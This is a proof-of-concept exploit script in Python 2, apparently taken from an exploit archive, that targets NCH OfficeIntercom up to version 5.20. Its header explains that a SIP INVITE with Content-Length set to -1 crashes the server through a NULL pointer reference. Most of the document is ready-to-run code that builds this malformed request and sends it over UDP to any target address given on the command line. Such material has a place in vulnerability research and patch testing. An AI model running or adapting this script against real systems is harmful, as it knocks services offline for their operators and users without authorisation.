NCH Officeintercom 5.20 – Remote Denial of Service
#!/usr/bin/python # Exploit Title: NCH Officeintercom <= v5.20 Remote Denial of Service Vulnerability # Date: 11/24/2010 # Author: xsploited security # URL: http://www.x-sploited.com/ # Contact: xsploitedsecurity [at] x-sploited.com # Software Link: http://www.nch.com.au/oi/oisetup.exe # Version: <= v5.20 # Tested on: Windows XP SP3 # CVE : N/A ### Software Description: ### # Officeintercom lets you use your PC, Pocket PC and Smartphone to speak to others over the internet or a local area # network with simple "push-to-talk" technology. It works as a virtual IP intercom and feels a little like using a CB # radio. # Talk to anyone else who has installed OfficeIntercom anywhere in the world from your PC or Pocket PC device. OfficeIntercom # is designed to be fast and easy to use and, in an office environment, no cabling is be required to run OfficeIntercom # because it uses the existing computer network. ### Exploit information: ### # NCH Office Intercom is prone to a remote denial of service attack when parsing a maliscous SIP invite request. # If the Content-Length field has a value of -1 (or a large integer such as 3645363) the server will crash due to a NULL pointer # reference, causing an access violation. ### Shouts: ### # kaotix, MaX, corelanc0d3r/corelan team, exploit-db, packetstormsecurity, all other infosec researchers and websites # # "When you know that you're capable of dealing with whatever comes, you have the only security the world has to offer." # -Harry Browne ### import sys,socket if len(sys.argv) < 2: print "[!] Error, Usage: " + sys.argv[0]+ " <Target IP> [Port]" sys.exit(1) about = "================================================\n" about += "Title: Officeintercom <= v5.20 Remote DoS POC\n" about += "Author: xsploited security\nURL: http://www.x-sploited.com/\n" about += "Contact: xsploitedsecurity [at] gmail.com\n" about += "Shouts: kAoTiX, MaX, corelanc0d3r/corelan team,\nexploit-db, packetstormsecurity, and all other sites\n" about += "================================================\n" print about host = sys.argv[1] if len(sys.argv) > 2: port = int(sys.argv[2]) else: port = 5060 #Default payload = ("INVITE sip:105@" + host + " SIP/2.0\r\n" "To: <sip:" + host + ":5060>\r\n" "Via: SIP/2.0/UDP localhost:10000\r\n" "From: \x22xsploitedsec\x22<sip:" + host + ":10000>\r\n" "Call-ID: f81d4fae7dec11d0a76500a0c91e6bf6@localhost\r\n" "CSeq: 1 INVITE\r\n" "Max-Forwards: 70\r\n" "Content-Type: application/sdp\r\n" "Content-Length: -1\r\n\r\n"); s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print "[*] Sending evil SIP request to " + host + ":" + str(port) s.sendto(payload,(host,port)) print "[*] Data sent successfully" print "[*] Exiting..." s.close() |